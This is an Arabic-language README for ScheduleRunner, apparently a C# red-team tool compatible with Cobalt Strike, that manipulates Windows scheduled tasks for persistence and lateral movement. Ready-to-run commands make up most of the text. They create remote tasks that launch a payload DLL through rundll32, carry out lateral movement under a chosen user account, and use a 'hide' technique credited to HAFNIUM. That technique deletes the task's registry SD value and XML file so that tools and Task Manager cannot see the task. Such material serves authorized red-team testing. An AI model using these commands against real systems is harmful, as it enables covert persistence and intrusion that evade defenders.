ScheduleRunner - أداة C# توفر مرونة أكبر لتخصيص المهام المجدولة من أجل الاستمرارية والحركة الجانبية في عمليات الفريق الأحمر

---

المهمة المجدولة هي واحدة من أكثر تقنيات الهجوم شيوعًا في العقد الماضي، ولا تزال تُستخدم بشكل شائع من قبل المخترقين/فرق الأحمر للاستمرارية والحركة الجانبية.

تم تطوير عدد من أدوات C# لمحاكاة الهجوم باستخدام المهمة المجدولة. لقد جربت بعضها ولكن لكل منها قيوده الخاصة في تخصيص المهمة المجدولة. لذلك، يهدف هذا المشروع إلى توفير أداة C# (متوافقة مع CobaltStrike execute-assembly) لتضمين الميزات التي أحتاجها وتوفير مرونة كافية لتخصيص المهمة المجدولة.

لقطة شاشة:

الطرق (/method):

خيارات إنشاء المهمة المجدولة (/method:create):

[*] هي حقول إلزامية.

خيارات حذف المهمة المجدولة (/method:delete):

[*] هي حقول إلزامية.

خيارات تنفيذ المهمة المجدولة (/method:run):

[*] هي حقول إلزامية.

خيارات استعلام المهمة المجدولة (/method:query):

[*] هي حقول إلزامية.

خيارات الحركة الجانبية باستخدام المهمة المجدولة (/method:move):

[*] هي حقول إلزامية.

مثال

إنشاء مهمة مجدولة تُسمى "Cleanup" سيتم تنفيذها يوميًا الساعة 11:30 مساءً.

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010

إنشاء مهمة مجدولة تُسمى "Cleanup" سيتم تنفيذها كل 4 ساعات على خادم بعيد

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:hourly /modifier:4 /program:rundll32.exe /argument:c:\temp\payload.dll /remoteserver:TARGET-PC01

حذف مهمة مجدولة تُسمى "Cleanup"

ScheduleRunner.exe /method:delete /taskname:Cleanup

تنفيذ مهمة مجدولة تُسمى "Cleanup"

ScheduleRunner.exe /method:run /taskname:Cleanup

استعلام عن تفاصيل مهمة مجدولة تُسمى "Cleanup" داخل المجلد "\Microsoft\Windows\CertificateServicesClient" على خادم بعيد

ScheduleRunner.exe /method:query /taskname:Cleanup /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

استعلام عن جميع المهام المجدولة داخل مجلد محدد "\Microsoft\Windows\CertificateServicesClient" على خادم بعيد

ScheduleRunner.exe /method:query /folder:\Microsoft\Windows\CertificateServicesClient /remoteserver:TARGET-PC01

استعلام عن جميع المجلدات الفرعية في المهام المجدولة

ScheduleRunner.exe /method:queryfolders

تنفيذ حركة جانبية باستخدام المهمة المجدولة إلى خادم بعيد باستخدام حساب مستخدم محدد

ScheduleRunner.exe /method:move /taskname:Demo /remoteserver:TARGET-PC01 /program:rundll32.exe /argument:c:\temp\payload.dll /user:netero1010

إنشاء مهمة مجدولة تُسمى "Cleanup" باستخدام تقنية إخفاء المهمة المجدولة:

ScheduleRunner.exe /method:create /taskname:Cleanup /trigger:daily /starttime:23:30 /program:calc.exe /description:"Some description" /author:netero1010 /technique:hide

حذف مهمة مجدولة تُسمى "Cleanup" استخدمت تقنية إخفاء المهمة المجدولة:

ScheduleRunner.exe /method:delete /taskname:Cleanup /technique:hide

تقنية إخفاء المهمة المجدولة

هذه التقنية استخدمها المهاجم - HAFNIUM واكتشفتها Microsoft مؤخرًا. تهدف إلى جعل المهمة المجدولة غير قابلة للاستعلام بواسطة الأدوات وغير مرئية لمدير المهام.

لاستخدام هذه التقنية، يجب أن تكون لديك صلاحية "NT AUTHORITY/SYSTEM" وسيقوم ScheduleRunner بما يلي نيابة عنك:

1. حذف القيمة "SD" من المسار "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\[اسم المهمة]"
2. حذف ملف XML للمهمة المجدولة "C:\Windows\System32\Tasks\[اسم المهمة]"

لإزالة المهمة المجدولة التي تم إنشاؤها باستخدام هذه التقنية، يجب إضافة "/technique:hide" في طريقة الحذف لإزالتها بشكل صحيح.

عيب هذه التقنية:

ستستمر المهمة في العمل حتى إعادة تشغيل النظام التالية حتى إذا تم حذف المهمة عبر السجل. لذلك، من الأفضل عدم استخدام هذه التقنية في الخادم لصالح عمليتك.

عرض توضيحي

المكتبات والمراجع المستخدمة: